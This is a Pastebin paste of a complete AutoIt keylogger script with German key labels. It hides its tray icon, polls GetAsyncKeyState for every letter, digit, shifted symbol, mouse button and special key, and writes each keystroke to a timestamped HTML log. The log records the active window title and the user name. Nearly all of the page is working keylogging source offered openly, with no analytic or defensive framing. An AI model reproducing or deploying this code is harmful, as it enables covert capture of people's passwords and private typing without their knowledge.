Darksider3

darksider3

Aug 3rd, 2010
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 15.73 KB | None | 0 0
  1. #NoTrayIcon
  2.  
  3. Local $date = @YEAR & "." & @MON & "." & @MDAY
  4. Local $user32 = DllOpen("user32"), $log
  5. Local $window2 = ""
  6. Local $CAPSLOCKTOGGLE
  7. Local $log = "logs/" &@MIN & "." &@HOUR & "." & @MDAY & "."& @MON & "." & "log.htm"
  8. $beenden = HotKeySet( "{F9}", "Terminate")
  9. if $beenden = 0 Then Exit
  10. If FileExists($log) = 1 Then
  11.  
  12. EndIf
  13. FileWrite($log,"")
  14. FileOpen($log, 9)
  15. Sleep(1)
  16. FileWrite($log, "<font face=Verdana size=1>")
  17. FileWrite($log, "<b><center>[#[ Keylogger Log Start ]#] </center></b><br>")
  18. FileWrite($log, "<b><center>[#[ History : ]#] </center></b><br>")
  19.  
  20. FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
  21. FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
  22. FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Linke Maus Taste<br></font></center>")
  23. FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Rechte Maus Taste<br></font></center>")
  24. FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Mittlere Maus Taste<br></font></center>")
  25. FileWrite($log, "<center><font color=#008000 style=font-size:9px>{END} = Ende Taste<br></font></center>")
  26. FileWrite($log, "<br>")
  27.  
  28. FileWrite($log, "<br>")
  29.  
  30. FileWrite($log, "<b><center>[#[ Log : ]#] </center></b><br>")
  31.  
  32.  
  33. While 1
  34. For $n = 30 To 39
  35. If _IsPressed ($n) Then
  36. If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
  37. _LogKeyPress('=')
  38. ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
  39. _LogKeyPress('0')
  40. ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
  41. _LogKeyPress('!')
  42. ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
  43. _LogKeyPress('1')
  44. ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
  45. _LogKeyPress('"')
  46. ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
  47. _LogKeyPress('2')
  48. ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
  49. _LogKeyPress('#')
  50. ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
  51. _LogKeyPress( '3')
  52. ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
  53. _LogKeyPress('$')
  54. ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
  55. _LogKeyPress('4')
  56. ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
  57. _LogKeyPress('%')
  58. ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
  59. _LogKeyPress( '5')
  60. ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
  61. _LogKeyPress('&')
  62. ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
  63. _LogKeyPress('6')
  64. ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
  65. _LogKeyPress('/')
  66. ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
  67. _LogKeyPress('7')
  68. ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
  69. _LogKeyPress('(')
  70. ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
  71. _LogKeyPress('8')
  72. ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
  73. _LogKeyPress(')')
  74. ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
  75. _LogKeyPress('9')
  76. EndIf
  77. While _IsPressed ($n) = 1
  78. Sleep(1)
  79. WEnd
  80. EndIf
  81. Next
  82. If _IsPressed ('2E') = 1 Then
  83. _LogKeyPress('.')
  84. While _IsPressed ('2E') = 1
  85. Sleep(1)
  86. WEnd
  87. ElseIf _IsPressed ('3F') = 1 Then
  88. _LogKeyPress("?")
  89. While _IsPressed ('3F') = 1
  90. Sleep(1)
  91. WEnd
  92. ElseIf _IsPressed ('B4') = 1 Then
  93. _LogKeyPress("ยด")
  94. While _IsPressed ('B4') = 1
  95. Sleep(1)
  96. WEnd
  97. ElseIf _IsPressed ('2A') = 1 Then
  98. _LogKeyPress("*")
  99. While _IsPressed ('2A') = 1
  100. Sleep(1)
  101. WEnd
  102. ElseIf _IsPressed ('2B') = 1 Then
  103. _LogKeyPress("+")
  104. While _IsPressed ('2B') = 1
  105. Sleep(1)
  106. WEnd
  107. ElseIf _IsPressed ('27') = 1 Then
  108. _LogKeyPress("'")
  109. While _IsPressed ('27') = 1
  110. Sleep(1)
  111. WEnd
  112. ElseIf _IsPressed ('41') = 1 Then
  113. If $CAPSLOCKTOGGLE = 0 Then
  114. _LogKeyPress("a")
  115. Else
  116. _LogKeyPress("A")
  117. EndIf
  118. While _IsPressed ('41') = 1
  119. Sleep(1)
  120. WEnd
  121. ElseIf _IsPressed ('42') = 1 Then
  122. If $CAPSLOCKTOGGLE = 0 Then
  123. _LogKeyPress("b")
  124. Else
  125. _LogKeyPress("B")
  126. EndIf
  127. While _IsPressed ('42') = 1
  128. Sleep(1)
  129. WEnd
  130. ElseIf _IsPressed ('43') = 1 Then
  131. If $CAPSLOCKTOGGLE = 0 Then
  132. _LogKeyPress("c")
  133. Else
  134. _LogKeyPress("C")
  135. EndIf
  136. While _IsPressed ('43') = 1
  137. Sleep(1)
  138. WEnd
  139. ElseIf _IsPressed ('44') = 1 Then
  140. If $CAPSLOCKTOGGLE = 0 Then
  141. _LogKeyPress("d")
  142. Else
  143. _LogKeyPress("D")
  144. EndIf
  145. While _IsPressed ('44') = 1
  146. Sleep(1)
  147. WEnd
  148. ElseIf _IsPressed ('45') = 1 Then
  149. If $CAPSLOCKTOGGLE = 0 Then
  150. _LogKeyPress("e")
  151. Else
  152. _LogKeyPress("E")
  153. EndIf
  154. While _IsPressed ('45') = 1
  155. Sleep(1)
  156. WEnd
  157. ElseIf _IsPressed ('46') = 1 Then
  158. If $CAPSLOCKTOGGLE = 0 Then
  159. _LogKeyPress("f")
  160. Else
  161. _LogKeyPress("F")
  162. EndIf
  163. While _IsPressed ('46') = 1
  164. Sleep(1)
  165. WEnd
  166. ElseIf _IsPressed ('47') = 1 Then
  167. If $CAPSLOCKTOGGLE = 0 Then
  168. _LogKeyPress("g")
  169. Else
  170. _LogKeyPress("G")
  171. EndIf
  172. While _IsPressed ('47') = 1
  173. Sleep(1)
  174. WEnd
  175. ElseIf _IsPressed ('48') = 1 Then
  176. If $CAPSLOCKTOGGLE = 0 Then
  177. _LogKeyPress("h")
  178. Else
  179. _LogKeyPress("H")
  180. EndIf
  181. While _IsPressed ('48') = 1
  182. Sleep(1)
  183. WEnd
  184. ElseIf _IsPressed ('49') = 1 Then
  185. If $CAPSLOCKTOGGLE = 0 Then
  186. _LogKeyPress("i")
  187. Else
  188. _LogKeyPress("I")
  189. EndIf
  190. While _IsPressed ('49') = 1
  191. Sleep(1)
  192. WEnd
  193. ElseIf _IsPressed ('4A') = 1 Then
  194. If $CAPSLOCKTOGGLE = 0 Then
  195. _LogKeyPress("j")
  196. Else
  197. _LogKeyPress("J")
  198. EndIf
  199. While _IsPressed ('4A') = 1
  200. Sleep(1)
  201. WEnd
  202. ElseIf _IsPressed ('4B') = 1 Then
  203. If $CAPSLOCKTOGGLE = 0 Then
  204. _LogKeyPress("k")
  205. Else
  206. _LogKeyPress("K")
  207. EndIf
  208. While _IsPressed ('4B') = 1
  209. Sleep(1)
  210. WEnd
  211. ElseIf _IsPressed ('4C') = 1 Then
  212. If $CAPSLOCKTOGGLE = 0 Then
  213. _LogKeyPress("l")
  214. Else
  215. _LogKeyPress("L")
  216. EndIf
  217. While _IsPressed ('4C') = 1
  218. Sleep(1)
  219. WEnd
  220. ElseIf _IsPressed ('4D') = 1 Then
  221. If $CAPSLOCKTOGGLE = 0 Then
  222. _LogKeyPress("m")
  223. Else
  224. _LogKeyPress("M")
  225. EndIf
  226. While _IsPressed ('4D') = 1
  227. Sleep(1)
  228. WEnd
  229. ElseIf _IsPressed ('4E') = 1 Then
  230. If $CAPSLOCKTOGGLE = 0 Then
  231. _LogKeyPress("n")
  232. Else
  233. _LogKeyPress("N")
  234. EndIf
  235. While _IsPressed ('4E') = 1
  236. Sleep(1)
  237. WEnd
  238. ElseIf _IsPressed ('4F') = 1 Then
  239. If $CAPSLOCKTOGGLE = 0 Then
  240. _LogKeyPress("o")
  241. Else
  242. _LogKeyPress("O")
  243. EndIf
  244. While _IsPressed ('4F') = 1
  245. Sleep(1)
  246. WEnd
  247. ElseIf _IsPressed ('50') = 1 Then
  248. If $CAPSLOCKTOGGLE = 0 Then
  249. _LogKeyPress("p")
  250. Else
  251. _LogKeyPress("P")
  252. EndIf
  253. While _IsPressed ('50') = 1
  254. Sleep(1)
  255. WEnd
  256. ElseIf _IsPressed ('51') = 1 Then
  257. If $CAPSLOCKTOGGLE = 0 Then
  258. _LogKeyPress("q")
  259. Else
  260. _LogKeyPress("Q")
  261. EndIf
  262. While _IsPressed ('51') = 1
  263. Sleep(1)
  264. WEnd
  265. ElseIf _IsPressed ('52') = 1 Then
  266. If $CAPSLOCKTOGGLE = 0 Then
  267. _LogKeyPress("r")
  268. Else
  269. _LogKeyPress("R")
  270. EndIf
  271. While _IsPressed ('52') = 1
  272. Sleep(1)
  273. WEnd
  274. ElseIf _IsPressed ('53') = 1 Then
  275. If $CAPSLOCKTOGGLE = 0 Then
  276. _LogKeyPress("s")
  277. Else
  278. _LogKeyPress("S")
  279. EndIf
  280. While _IsPressed ('53') = 1
  281. Sleep(1)
  282. WEnd
  283. ElseIf _IsPressed ('54') = 1 Then
  284. If $CAPSLOCKTOGGLE = 0 Then
  285. _LogKeyPress("t")
  286. Else
  287. _LogKeyPress("T")
  288. EndIf
  289. While _IsPressed ('54') = 1
  290. Sleep(1)
  291. WEnd
  292. ElseIf _IsPressed ('55') = 1 Then
  293. If $CAPSLOCKTOGGLE = 0 Then
  294. _LogKeyPress("u")
  295. Else
  296. _LogKeyPress("U")
  297. EndIf
  298. While _IsPressed ('55') = 1
  299. Sleep(1)
  300. WEnd
  301. ElseIf _IsPressed ('56') = 1 Then
  302. If $CAPSLOCKTOGGLE = 0 Then
  303. _LogKeyPress("v")
  304. Else
  305. _LogKeyPress("V")
  306. EndIf
  307. While _IsPressed ('56') = 1
  308. Sleep(1)
  309. WEnd
  310. ElseIf _IsPressed ('57') = 1 Then
  311. If $CAPSLOCKTOGGLE = 0 Then
  312. _LogKeyPress("w")
  313. Else
  314. _LogKeyPress("W")
  315. EndIf
  316. While _IsPressed ('57') = 1
  317. Sleep(1)
  318. WEnd
  319. ElseIf _IsPressed ('58') = 1 Then
  320. If $CAPSLOCKTOGGLE = 0 Then
  321. _LogKeyPress("x")
  322. Else
  323. _LogKeyPress("X")
  324. EndIf
  325. While _IsPressed ('58') = 1
  326. Sleep(1)
  327. WEnd
  328. ElseIf _IsPressed ('59') = 1 Then
  329. If $CAPSLOCKTOGGLE = 0 Then
  330. _LogKeyPress("y")
  331. Else
  332. _LogKeyPress("Y")
  333. EndIf
  334. While _IsPressed ('59') = 1
  335. Sleep(1)
  336. WEnd
  337. ElseIf _IsPressed ('5A') = 1 Then
  338. If $CAPSLOCKTOGGLE = 0 Then
  339. _LogKeyPress("z")
  340. Else
  341. _LogKeyPress("Z")
  342. EndIf
  343. While _IsPressed ('5A') = 1
  344. Sleep(1)
  345. WEnd
  346. ElseIf _IsPressed ('20') = 1 Then
  347. _LogKeyPress(" ")
  348. While _IsPressed ('20') = 1
  349. Sleep(1)
  350. WEnd
  351. ElseIf _IsPressed ('01') = 1 Then
  352.  
  353. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
  354. While _IsPressed ("01") = 1
  355. Sleep(1)
  356. WEnd
  357. ElseIf _IsPressed ('02') = 1 Then
  358.  
  359. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
  360. While _IsPressed ("02") = 1
  361. Sleep(1)
  362. WEnd
  363. ElseIf _IsPressed ('04') = 1 Then
  364. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
  365. While _IsPressed ("04") = 1
  366. Sleep(1)
  367. WEnd
  368. ElseIf _IsPressed ('08') = 1 Then
  369. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")
  370.  
  371. While _IsPressed ("08") = 1
  372. Sleep(1)
  373. WEnd
  374. ElseIf _IsPressed ('09') = 1 Then
  375. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
  376. While _IsPressed ("09") = 1
  377. Sleep(1)
  378. WEnd
  379. ElseIf _IsPressed ('0d') = 1 Then
  380. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
  381. While _IsPressed ("0d") = 1
  382. Sleep(1)
  383. WEnd
  384. ElseIf _IsPressed ('10') Then
  385. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
  386. While _IsPressed ("10") = 1
  387. For $n = 30 To 39
  388. If _IsPressed ($n) Then
  389. If StringRight($n, 1) = 0 Then
  390. _LogKeyPress('<font color=red style=font size:9px<i>=</i>')
  391. ElseIf StringRight($n, 1) = 1 Then
  392. _LogKeyPress('<font color=red style=font size:9px<i>!</i>')
  393. ElseIf StringRight($n, 1) = 2 Then
  394. _LogKeyPress('<font color=red style=font size:9px<i><u>"</i></u>')
  395. ElseIf StringRight($n, 1) = 3 Then
  396. _LogKeyPress('<u><i>#</i></u>')
  397. ElseIf StringRight($n, 1) = 4 Then
  398. _LogKeyPress('<u><i>$</i></u>')
  399. ElseIf StringRight($n, 1) = 5 Then
  400. _LogKeyPress('<u><i>%</i></u>')
  401. ElseIf StringRight($n, 1) = 6 Then
  402. _LogKeyPress('<u><i>&</i></u>')
  403. ElseIf StringRight($n, 1) = 7 Then
  404. _LogKeyPress('<u><i>/</i></u>')
  405. ElseIf StringRight($n, 1) = 8 Then
  406. _LogKeyPress('<u><i>(</i></u>')
  407. ElseIf StringRight($n, 1) = 9 Then
  408. _LogKeyPress('<u><i>)</i></u>')
  409. EndIf
  410. While _IsPressed ($n) = 1
  411. Sleep(1)
  412. WEnd
  413. EndIf
  414. Next
  415. If _IsPressed ('41') = 1 Then _LogKeyPress("<u><i>A</i></u>")
  416. While _IsPressed ('41') = 1
  417. Sleep(1)
  418. WEnd
  419.  If _IsPressed ('42') = 1 Then _LogKeyPress("<u><i>B</i></u>")
  420. While _IsPressed ('42') = 1
  421. Sleep(1)
  422. WEnd
  423. If _IsPressed ('43') = 1 Then _LogKeyPress("<u><i>C</i></u>")
  424. While _IsPressed ('43') = 1
  425. Sleep(1)
  426. WEnd
  427. If _IsPressed ('44') = 1 Then _LogKeyPress("<u><i>D</i></u>")
  428. While _IsPressed ('44') = 1
  429. Sleep(1)
  430. WEnd
  431. If _IsPressed ('45') = 1 Then _LogKeyPress("<u><i>E</i></u>")
  432. While _IsPressed ('45') = 1
  433. Sleep(1)
  434. WEnd
  435. If _IsPressed ('46') = 1 Then _LogKeyPress("<u><i>F</i></u>")
  436. While _IsPressed ('46') = 1
  437. Sleep(1)
  438. WEnd
  439. If _IsPressed ('47') = 1 Then _LogKeyPress("<u><i>G</i></u>")
  440. While _IsPressed ('47') = 1
  441. Sleep(1)
  442. WEnd
  443. If _IsPressed ('48') = 1 Then _LogKeyPress("<u><i>H</i></u>")
  444. While _IsPressed ('48') = 1
  445. Sleep(1)
  446. WEnd
  447. If _IsPressed ('49') = 1 Then _LogKeyPress("<u><i>I</i></u>")
  448. While _IsPressed ('49') = 1
  449. Sleep(1)
  450. WEnd
  451. If _IsPressed ('4A') = 1 Then _LogKeyPress("<u><i>J</i></u>")
  452. While _IsPressed ('4A') = 1
  453. Sleep(1)
  454. WEnd
  455. If _IsPressed ('4B') = 1 Then _LogKeyPress("<u><i>K</i></u>")
  456. While _IsPressed ('4B') = 1
  457. Sleep(1)
  458. WEnd
  459. If _IsPressed ('4C') = 1 Then _LogKeyPress("<u><i>L</i></u>")
  460. While _IsPressed ('4C') = 1
  461. Sleep(1)
  462. WEnd
  463. If _IsPressed ('4D') = 1 Then _LogKeyPress("<u><i>M</i></u>")
  464. While _IsPressed ('4D') = 1
  465. Sleep(1)
  466. WEnd
  467. If _IsPressed ('4E') = 1 Then _LogKeyPress("<u><i>N</i></u>")
  468. While _IsPressed ('4E') = 1
  469. Sleep(1)
  470. WEnd
  471. If _IsPressed ('4F') = 1 Then _LogKeyPress("<u><i>O</i></u>")
  472. While _IsPressed ('4F') = 1
  473. Sleep(1)
  474. WEnd
  475. If _IsPressed ('50') = 1 Then _LogKeyPress("<u><i>P</i></u>")
  476. While _IsPressed ('50') = 1
  477. Sleep(1)
  478. WEnd
  479. If _IsPressed ('51') = 1 Then _LogKeyPress("<u><i>Q</i></u>")
  480. While _IsPressed ('51') = 1
  481. Sleep(1)
  482. WEnd
  483. If _IsPressed ('52') = 1 Then _LogKeyPress("<u><i>R</i></u>")
  484. While _IsPressed ('52') = 1
  485. Sleep(1)
  486. WEnd
  487. If _IsPressed ('53') = 1 Then _LogKeyPress("<u><i>S</i></u>")
  488. While _IsPressed ('53') = 1
  489. Sleep(1)
  490. WEnd
  491. If _IsPressed ('54') = 1 Then _LogKeyPress("<u><i>T</i></u>")
  492. While _IsPressed ('54') = 1
  493. Sleep(1)
  494. WEnd
  495. If _IsPressed ('55') = 1 Then _LogKeyPress("<u><i>U</i></u>")
  496. While _IsPressed ('55') = 1
  497. Sleep(1)
  498. WEnd
  499. If _IsPressed ('56') = 1 Then _LogKeyPress("<u><i>V</i></u>")
  500. While _IsPressed ('56') = 1
  501. Sleep(1)
  502. WEnd
  503. If _IsPressed ('57') = 1 Then _LogKeyPress("<u><i>W</i></u>")
  504. While _IsPressed ('57') = 1
  505. Sleep(1)
  506. WEnd
  507. If _IsPressed ('58') = 1 Then _LogKeyPress("<u><i>X</i></u>")
  508. While _IsPressed ('58') = 1
  509. Sleep(1)
  510. WEnd
  511. If _IsPressed ('59') = 1 Then _LogKeyPress("<u><i>Y</i></u>")
  512. While _IsPressed ('59') = 1
  513. Sleep(1)
  514. WEnd
  515. If _IsPressed ('5A') = 1 Then _LogKeyPress("<u><i>Z</i></u>")
  516. While _IsPressed ('5A') = 1
  517. Sleep(1)
  518. WEnd
  519. WEnd
  520. ElseIf _IsPressed ('11') = 1 Then
  521. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
  522. While _IsPressed ("11") = 1
  523. Sleep(1)
  524. WEnd
  525. ElseIf _IsPressed ('12') = 1 Then
  526. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
  527. While _IsPressed ("12") = 1
  528. Sleep(1)
  529. WEnd
  530. ElseIf _IsPressed ('13') = 1 Then
  531. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
  532. While _IsPressed ("13") = 1
  533. Sleep(1)
  534. WEnd
  535. ElseIf _IsPressed ('14') = 1 Then
  536. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
  537. If $CAPSLOCKTOGGLE = 1 Then
  538. $CAPSLOCKTOGGLE = 0
  539. ElseIf $CAPSLOCKTOGGLE = 0 Then
  540. $CAPSLOCKTOGGLE = 1
  541. EndIf
  542. While _IsPressed ("14") = 1
  543. Sleep(1)
  544. WEnd
  545. ElseIf _IsPressed ('1b') = 1 Then
  546. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
  547. While _IsPressed ("1b") = 1
  548. Sleep(1)
  549. WEnd
  550. ElseIf _IsPressed ('21') = 1 Then
  551. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
  552. While _IsPressed ("21") = 1
  553. Sleep(1)
  554. WEnd
  555. ElseIf _IsPressed ('22') = 1 Then
  556. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
  557. While _IsPressed ("22") = 1
  558. Sleep(1)
  559. WEnd
  560. ElseIf _IsPressed ('23') = 1 Then
  561. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
  562. While _IsPressed ("23") = 1
  563. Sleep(1)
  564. WEnd
  565. ElseIf _IsPressed ('24') = 1 Then
  566. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
  567. While _IsPressed ("24") = 1
  568. Sleep(1)
  569. WEnd
  570. ElseIf _IsPressed ('25') = 1 Then
  571. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
  572. While _IsPressed ("25") = 1
  573. Sleep(1)
  574. WEnd
  575. ElseIf _IsPressed ('26') = 1 Then
  576. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
  577. While _IsPressed ("26") = 1
  578. Sleep(1)
  579. WEnd
  580. ElseIf _IsPressed ('27') = 1 Then
  581. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
  582. While _IsPressed ("27") = 1
  583. Sleep(1)
  584. WEnd
  585. ElseIf _IsPressed ('28') = 1 Then
  586. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
  587. While _IsPressed ("28") = 1
  588. Sleep(1)
  589. WEnd
  590. ElseIf _IsPressed ('2c') = 1 Then
  591. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
  592. While _IsPressed ("2c") = 1
  593. Sleep(1)
  594. WEnd
  595. ElseIf _IsPressed ('2d') = 1 Then
  596. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
  597. While _IsPressed ("2d") = 1
  598. Sleep(1)
  599. WEnd
  600. ElseIf _IsPressed ('2e') = 1 Then
  601. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
  602. While _IsPressed ("2e") = 1
  603. Sleep(1)
  604. WEnd
  605. EndIf
  606. WEnd
  607. Func _IsPressed($hexKey)
  608. Local $aR, $bRv
  609. $hexKey = '0x' & $hexKey
  610. $aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
  611. If $aR[0] <> 0 Then
  612. $bRv = 1
  613. Else
  614. $bRv = 0
  615. EndIf
  616. Return $bRv
  617. EndFunc
  618. Func _LogKeyPress($what2log)
  619. $window = WinGetTitle("")
  620. If $window = $window2 Then
  621. FileWrite($log, $what2log)
  622. Else
  623. $window2 = $window
  624. FileWrite($log, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & @UserName & '] Window : "' & $window & '"</b><br>' & $what2log)
  625. EndIf
  626. EndFunc
  627. Func Terminate()
  628. DllClose($user32)
  629. FileClose($log)
  630. Exit
  631. EndFunc
Add Comment
Please, Sign In to add comment